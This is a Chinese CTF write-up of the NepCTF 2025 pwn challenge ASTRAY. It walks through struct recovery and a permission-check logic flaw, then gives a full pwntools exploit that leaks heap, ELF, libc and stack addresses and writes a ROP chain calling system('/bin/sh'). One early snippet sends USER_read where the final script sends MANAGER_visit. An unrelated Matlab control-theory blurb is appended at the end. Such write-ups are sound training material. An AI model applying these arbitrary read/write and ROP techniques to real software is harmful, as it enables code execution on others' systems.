NepCTF 2025 Pwn赛题ASTRAY解析:从结构体逆向到逻辑漏洞,用任意地址读写攻破glibc2.35

ASTRAY

前言

关注公众号【Real返璞归真】,回复【NepCTF2025】获取附件下载地址。

题目名:ASTRAY

解题数:26

题目描述:There are a lot of forks in the road here, kid, are you lost?

知识点:代码审计、逆向结构体还原、逻辑漏洞、高版本glibc(>=2.35)任意地址读写

本题的难点在于逆向分析与结构体还原,熟悉程序逻辑后漏洞利用步骤比较常规。

逆向分析

main函数分析

拖入IDA分析,找到main函数:

image-20250731095234995

发现它会执行init函数并返回a1,然后根据输入的perm权限选择执行user_operation()manager_operation(a1)

跟进init函数分析:

image-20250731095440367

申请0x2000堆空间,并将地址存储到v2指针。然后对全局变量进行一系列的初始化操作,我们可以结合后续使用到这些变量的地方理解它们的含义。

user_operation函数分析

先来分析user_operation()函数:

image-20250731095746031

让我们输入idxop,然后调用check()函数检查权限。我们跟进check()函数分析:

image-20250731100025092

它会先判断idx是否<=20,也就是说我们有20个可以操作的元素。接着判断op是否合法,只允许5种操作。

然后,从manage_physic[]中根据idx取出元素地址存储到v5指针。

对于perm == 1000的情况:·

  • USER_readMANAGER_readMANAGER_writeMANAGER_visit会直接通过检查返回True。
  • USER_write会检查(v5[1] & 1),若(v5[1] & 1) != 0返回True通过检查。

这个函数可能是usermanager共用的检查函数,并且如果user使用managerop也可以检查通过(可能存在逻辑漏洞)。

通过check()函数的检查之后,程序会根据idxmanage_physic[]dword_4068[]中取出元素存储到qword_41A8结构体中。

然后调用permission_confirm()函数,我们跟进分析:

image-20250731101033105

这里会根据我们之前输入的op,为qword_41A8+16设置一个值。

这个函数也是usermanager共用的函数,如果user输入managerop也可以成功设置值。

最后根据qword_41A8+16中的值决定执行USER_readUSER_write

  • USER_write:写qword_41A8指针指向的地址写入最多0xFF字节的数据
  • USER_read:从qword_41A8指针指向的地址读取最多0xFF字节的数据。

根据上面的分析,我们发现,user_operation()函数允许用户输入idxop,然后根据op指令去读或写数组中下标为idx的指针指向的区域。

但是,可能存在安全风险,因为check()permission_confirm()函数的共用,程序并没有严格校验,使得user也可以输入managerop

这样会导致qword_41A8被错误的赋值manage_physic[]dword_4068[]中的值,但不进行任何操作。

manager_operation函数分析

我们继续分析另一个分支,manager_operation()函数:

image-20250731102215951

这个函数同样要求我们输入idxop,然后调用check()函数进行权限检查。

对于check()函数,前面的操作和之前一样,区别在于:

  • 输入MANAGER_write时,要求(v5[1] & 2) != 0
  • 输入MANAGER_visit时,要求qword_41A8指针指向的内容不为空。

执行完毕check()后,程序会根据输入的idx为全局变量a1赋值(暂不具体分析)。

随后,程序调用permission_confirm()函数根据op*(*(a1 + 8) + 16)赋值,并根据赋值选择后续执行的分支。

同理,check()permission_confirm()被共用,且检查不严谨,manager也可以输入user的指令。

最后,程序根据*(*(a1 + 8) + 16)处的值执行不同分支:

  • MANAGER_write:向*(a1+8)指针指向的区域写入最多0xFF字节的数据。
  • MANAGER_read:从*(a1+8)指针指向的区域读取最多0xFF字节的数据。
  • MANAGER_visit:程序会让我们输入12(分别对应user_readuser_write):
    • user_read:从**(*(a1 + 16) + 8LL)区域读取最多0xFF字节的数据。
    • user_write:向**(*(a1 + 16) + 8LL)区域写入最多0xFF字节的数据。

结构体还原-Physic

分析完这两个函数后,我们可以对结构体尝试还原。

首先,我们来到init函数,分析全局变量数组的初始化:

dword_4068[0] = 16;
for ( i = 1; i <= 19; ++i )
{
    manage_physic[2 * i] = (__int64)v2 + 256 * i;
    if ( i > 9 )
      dword_4068[4 * i] = 3;
    else
      dword_4068[4 * i] = 2;
}

双击manager_physic[]数组查看内存空间布局:

image-20250731104904116

发现manager_physic[]只占8个字节,所以这个循环初始化会进行越界操作写入到紧邻的dword_4068[]数组中。

结合前面的逆向分析,可以推断出manager_physic[]数组的大小被错误的识别,我们将其修改为20个元素:

image-20250731105606709

然后根据初始化的赋推断Physic结构体:

00000000 Physic          struc ; (sizeof=0x10, mappedto_8)
00000000 content_ptr     dq ?
00000008 perm            dd ?
0000000C pad             dd ?
00000010 Physic          ends

修复后的结构体如下图所示,代码可读性大幅度提高:

image-20250731105847352

继续分析init()函数,全局变量qword_41A8存储0x18大小空间的地址(后续用到再分析这个结构体):

qword_41A8 = (__int64)malloc(0x18uLL);
*(_DWORD *)(qword_41A8 + 16) = 0;
*(_QWORD *)qword_41A8 = 0LL;
*(_DWORD *)(qword_41A8 + 8) = 0;

接着,将manage_physic[0].content_ptr赋值给局部变量 content_ptr,然后进行一系列的赋值操作:

content_ptr = manage_physic[0].content_ptr;
*manage_physic[0].content_ptr = 1;
*(content_ptr + 16) = &onlyuser;
*(content_ptr + 8) = malloc(0x18uLL);
*(*(content_ptr + 8) + 16LL) = 0;
**(content_ptr + 8) = 0LL;
*(*(content_ptr + 8) + 8LL) = 0;

根据这些赋值,我们可以推测出Content结构体:

00000000 Content         struc ; (sizeof=0x18, mappedto_9)
00000000 magic           dd ?
00000004 pad             dd ?
00000008 unknown_ptr     dq ?
00000010 only_user_ptr   dq ?
00000018 Content         ends

其中,unknown_ptr的大小与初始化与qword_41A8相似,可以推断出它们类型应该一致。

然后将Physic结构体的content_ptr类型修改为Content *

还原后的结构体如下所示:

image-20250731110825968

最终,程序返回manage_physic[0]的地址给全局变量a1指针。

结构体还原-PhysicWithPermissionConfirm

此时,再次进入user_operation()函数:

image-20250731111315122

可以发现,代码可读性有所提高。结合代码,我们可以推断出qword_41A8类型的的结构体:

00000000 PhysicWithPermissionConfirm struc ; (sizeof=0x18, mappedto_10)
00000000 content_ptr     dq ?                    ; offset
00000008 perm            dd ?
0000000C pad1            dd ?
00000010 permission_confirm dd ?
00000014 pad2            dd ?
00000018 PhysicWithPermissionConfirm ends

它在Physic结构体的基础上,多了一个permission_confirm字段用于根据op选择程序分支。

此时,user_operation()函数非常清晰:

image-20250731111949149

我们之前提到过,Content结构体中的unknown_ptr与该变量类型一致,将其修改为PhysicWithPermissionConfirm *类型并改名。

此时,我们再次进入manager_operation()函数,发现代码可读性提高:

image-20250731112507335

逆向分析还原后的完整程序

main函数:

image-20250731112916687

init函数:

image-20250731112817731

user_operation函数:

image-20250731112834426

manager_operation函数:

image-20250731112943369

至此,我们已经完成逆向分析的所有工作,后续只需要理清程序逻辑即可进行进一步的漏洞利用。

利用思路

整体利用思路

逆向分析完成后,我们发现manager_operation()函数中有一段代码非常奇怪:

case 6:
  write(1, **(a1->only_user_ptr + 8), 0xFFuLL);
  break;
case 3:
  read(0, **(a1->only_user_ptr + 8), 0xFFuLL);
  break;

它没有写入到某个变量中,而是写入到计算后的地址指向的内存空间中。

a1->only_user_ptrinit()函数中被初始化为onlyuser变量的地址:

content_ptr->only_user_ptr = &onlyuser;

我们可以在内存空间中查看onlyuser变量:

image-20250731113231711

(a1->only_user_ptr + 8)刚好是physicEntry变量的地址(在user_operation()函数中被赋值的全局变量):

image-20250731113405363

内存结构如图所示:

image-20250731161726138

如果我们可以控制a1->only_user_ptr就可以实现任意地址读写

我们在init()函数中可以发现一个很有意思的事情,manage_physic[]数组的有效存储空间实际为下标1-19。

而全局变量a1始终指向manage_physic[0].content_ptr,它在初始化时被赋值:

content_ptr = manage_physic[0].content_ptr;
manage_physic[0].content_ptr->magic = 1;
content_ptr->only_user_ptr = &onlyuser;
content_ptr->physicWithPermissionConfirm_ptr = malloc(0x18uLL);
content_ptr->physicWithPermissionConfirm_ptr->permission_confirm = 0;
content_ptr->physicWithPermissionConfirm_ptr->content_ptr = 0LL;
content_ptr->physicWithPermissionConfirm_ptr->perm = 0;

如果我们能通过程序修改manage_physic[0]->content_ptr的内容,就能进一步控制a1->only_user_ptr

physicEntry = manage_physic[0]时,内存布局如下图所示:

image-20250731162331978

此时,我们修改**(a1->only_user_ptr + 8)就是在修改最右侧的结构体,进而实现篡改only_user_ptr指针。

细节-权限绕过

但我们还没有考虑check()函数的权限校验,它可能不允许我们操作下标为0的元素,我们再次进入check()函数:

image-20250731115059408

如果我们输入USER_write,程序要求该元素perm的最低为1。如果我们输入MANAGER_write,程序要求该元素的次低位为1。

而在init()函数中,manage_physic[0]->perm被赋值为16,无法满足这两个write操作的条件。

这时候,我们只能寄希望于MANAGER_visit进行读写操作,它只会去检查physicEntry->content_ptr是否非空(在user_operation()函数中被赋值)。

此外,想要使用manager_operation()函数的MANAGER_visit,还需要满足checkvisit()函数的条件:

image-20250731165943088

permission_confirm的第3bit只能为0,所以USER_read不满足条件。

所以,我们现在的思路是尝试在user_operation()函数中将manage_physic[0]的地址赋值给全局变量physicEntry

user_operation()函数中:

image-20250731115551107

只有通过check()函数的检查,我们才能为physicEntry变量赋值。

check()函数中,我们使用Manager_read or USER_read(对应的permission_confirm第3bit不为0)MANAGER_write or USER_write(perm检查不通过)都无法通过检查。

不过,在前面的逆向分析中,我们发现check()函数检查并不严格,我们可以在user_operation()函数中使用managerop

我们使用MANAGER_visit以通过权限检查:

image-20250731143541779

然后,程序会设置physicEntry->content_ptr=manage_physic[0].content_ptr,但不会执行后门的任何操作。

细节-指针改写

然后,我们开始覆盖manage_physic[0]->content_ptr->only_user_ptr指针实现任意地址读写。

由于程序读写**(a1->only_user_ptr + 8),我们需要两个跳板指向以便让**(a1->only_user_ptr + 8)指向target。

覆盖前:

image-20250731164025903

覆盖后:

image-20250731164326543

此后,我们只需要修改chunk_B中的内容就可以实现任意地址读写操作。

细节-getShell

通过指针改写,我们已经实现任意地址读写。题目开启RELRO无法修改GOT,并且所给的glibc为2.35版本,没有hook函数。

利用思路同常规的题目,我们先泄露libc,然后泄露environ变量中的栈地址,最后改写返回地址为ROP即可。

具体利用思路

首先,通过user_operation()函数,设置physicEntry->content_ptr = manager_physic[0].content_ptr

脚本如下所示:

# 1. physicEntry->content_ptr = manager_physic[0].content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1000')
p.sendafter(b'logs(USER_write)\n', b'USER_read')
p.sendlineafter(b'can visit\n', b'0')

此时,*(a1->only_user_ptr + 8) = manager_physic[0].content_ptr

接着,我们使用manager_operation()MANAGER_visit读取出manager_physic[0]->content_ptr以泄露heapelf_base

此时,它会依次输出magic(4字节)pad(4字节)physicWithPermissionConfirm_ptr(8字节)only_user_ptr(8字节)

脚本如下所示:

# 2. leak heap and elf_base by manager_physic[0]->content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'to user_logs\n', b'1')

p.recv(8)

leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x22d0
success("leak_addr = " + hex(leak_addr))

elf_base = u64(p.recv(8)) - 0x41A0
success("elf_base = " + hex(elf_base))

然后,我们开始覆盖manage_physic[0]->content_ptr->only_user_ptr指针实现任意地址读写。

由于程序读写**(a1->only_user_ptr + 8),我们需要两个跳板指向以便让**(a1->only_user_ptr + 8)指向target。

覆盖前:

image-20250731164025903

覆盖后:

image-20250731164326543

通过动态调试,先通过拿到manage_physic[11]->content_ptr作为chunk_Amanage_physic[12]->content_ptr作为chunk_B

接着依次改写,脚本如下所示:

# 3. (user_only_ptr-8) ->  chunk_A -> chunk_B -> target
chunk_A_addr = heap_base + 0xda0
chunk_B_addr = heap_base + 0xea0
target = 0xdeadbeef

# chunk_A -> chunk_B
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'11')
sleep(1)
p.send(p64(chunk_B_addr))

# chunk_B -> target
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'12')
sleep(1)
p.send(p64(target))

# (user_only_ptr-8) ->  chunk_A
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'user_logs\n', b'2')
sleep(1)
p.send(p64(0xdeadbeef) + p64(leak_addr) + p64(chunk_A_addr-8))

然后,我们封装两个函数,用于任意地址读写:

def arbitrary_read(addr):
    # chunk_B -> target
    p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
    p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
    p.sendlineafter(b'can visit\n', b'12')
    sleep(1)
    p.send(p64(addr))
    
    # MANAGER_visit
    p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
    p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
    p.sendlineafter(b'can visit\n', b'11')
    p.sendlineafter(b'to user_logs\n', b'1')


def arbitrary_write(addr, content):
    # chunk_B -> target
    p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
    p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
    p.sendlineafter(b'can visit\n', b'12')
    sleep(1)
    p.send(p64(addr))

    p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
    p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
    p.sendlineafter(b'can visit\n', b'11')
    p.sendlineafter(b'user_logs\n', b'2')
    sleep(1)
    p.send(content)

后续进行常规利用,通过任意地址读泄露libc:

# 4. leak libc
arbitrary_read(elf_base + elf.got['puts'])
libc_base = u64(p.recv(8)) - 0x80e50
libc.address = libc_base
success("libc_base = " + hex(libc_base))

最后,配合动态调试,确认返回地址,通过任意地址写将rop写入到返回地址:

# 5. retaddr -> rop
arbitrary_read(libc.sym['environ'])
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("stack_addr = " + hex(stack_addr))

arbitrary_write(heap_base+0x500, b'/bin/sh\x00')

buf_addr = heap_base+0x500
rop = b''
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(0)
rop += p64(next(libc.search(asm('pop rdx; pop r12; ret;'), executable=True)))
rop += p64(0) * 2
rop += p64(libc.symbols['system'])

# gdb.attach(p, 'b *$rebase(0x18E1)\nc')
# pause()

ret_addr = stack_addr - 0x150
arbitrary_write(ret_addr, rop)

exp

from pwn import *

elf = ELF("./astray")
libc = ELF("./libc.so.6")
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

# 1. physicEntry->content_ptr = manager_physic[0].content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1000')
p.sendafter(b'logs(USER_write)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'0')

# 2. leak heap and elf_base by manager_physic[0]->content_ptr
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'to user_logs\n', b'1')

p.recv(8)

leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x22d0
success("leak_addr = " + hex(leak_addr))

elf_base = u64(p.recv(8)) - 0x41A0
success("elf_base = " + hex(elf_base))

# 3. (user_only_ptr-8) ->  chunk_A -> chunk_B -> target
chunk_A_addr = heap_base + 0xda0
chunk_B_addr = heap_base + 0xea0
target = 0xdeadbeef

# chunk_A -> chunk_B
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'11')
sleep(1)
p.send(p64(chunk_B_addr))

# chunk_B -> target
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
p.sendlineafter(b'can visit\n', b'12')
sleep(1)
p.send(p64(target))

# (user_only_ptr-8) ->  chunk_A
p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
p.sendlineafter(b'can visit\n', b'11')
p.sendlineafter(b'user_logs\n', b'2')
sleep(1)
p.send(p64(0xdeadbeef) + p64(leak_addr) + p64(chunk_A_addr-8))


def arbitrary_read(addr):
    # chunk_B -> target
    p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
    p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
    p.sendlineafter(b'can visit\n', b'12')
    sleep(1)
    p.send(p64(addr))

    # MANAGER_visit
    p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
    p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
    p.sendlineafter(b'can visit\n', b'11')
    p.sendlineafter(b'to user_logs\n', b'1')


def arbitrary_write(addr, content):
    # chunk_B -> target
    p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
    p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_write')
    p.sendlineafter(b'can visit\n', b'12')
    sleep(1)
    p.send(p64(addr))

    p.sendlineafter(b'(1:manager 1000:user)\n', b'1')
    p.sendafter(b'user(MANAGER_visit)\n', b'MANAGER_visit')
    p.sendlineafter(b'can visit\n', b'11')
    p.sendlineafter(b'user_logs\n', b'2')
    sleep(1)
    p.send(content)


# 4. leak libc
arbitrary_read(elf_base + elf.got['puts'])
libc_base = u64(p.recv(8)) - 0x80e50
libc.address = libc_base
success("libc_base = " + hex(libc_base))

# 5. retaddr -> rop
arbitrary_read(libc.sym['environ'])
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("stack_addr = " + hex(stack_addr))

arbitrary_write(heap_base+0x500, b'/bin/sh\x00')

buf_addr = heap_base+0x500
rop = b''
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(0)
rop += p64(next(libc.search(asm('pop rdx; pop r12; ret;'), executable=True)))
rop += p64(0) * 2
rop += p64(libc.symbols['system'])

# gdb.attach(p, 'b *$rebase(0x18E1)\nc')
# pause()

ret_addr = stack_addr - 0x150
arbitrary_write(ret_addr, rop)

p.interactive()
基于径向基函数神经网络RBFNN的自适应滑模控制学习(Matlab代码实现)内容概要:本文介绍了基于径向基函数神经网络(RBFNN)的自适应滑模控制方法,并提供了相应的Matlab代码实现。该方法结合了RBF神经网络的非线性逼近能力和滑模控制的强鲁棒性,用于解决复杂系统的控制问,尤其适用于存在不确定性和外部干扰的动态系统。文中详细阐述了控制算法的设计思路、RBFNN的结构与权重更新机制、滑模面的构建以及自适应律的推导过程,并通过Matlab仿真验证了所提方法的有效性和稳定性。此外,文档还列举了大量相关的科研方向和技术应用,涵盖智能优化算法、机器学习、电力系统、路径规划等多个领域,展示了该技术的广泛应用前景。; 适合人群:具备一定自动控制理论基础和Matlab编程能力的研究生、科研人员及工程技术人员,特别是从事智能控制、非线性系统控制及相关领域的研究人员; 使用场景及目标:①学习和掌握RBF神经网络与滑模控制相结合的自适应控制策略设计方法;②应用于电机控制、机器人轨迹跟踪、电力电子系统等存在模型不确定性或外界扰动的实际控制系统中,提升控制精度与鲁棒性; 阅读建议:建议读者结合提供的Matlab代码进行仿真实践,深入理解算法实现细节,同时可参考文中提及的相关技术方向拓展研究思路,注重理论分析与仿真验证相结合。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值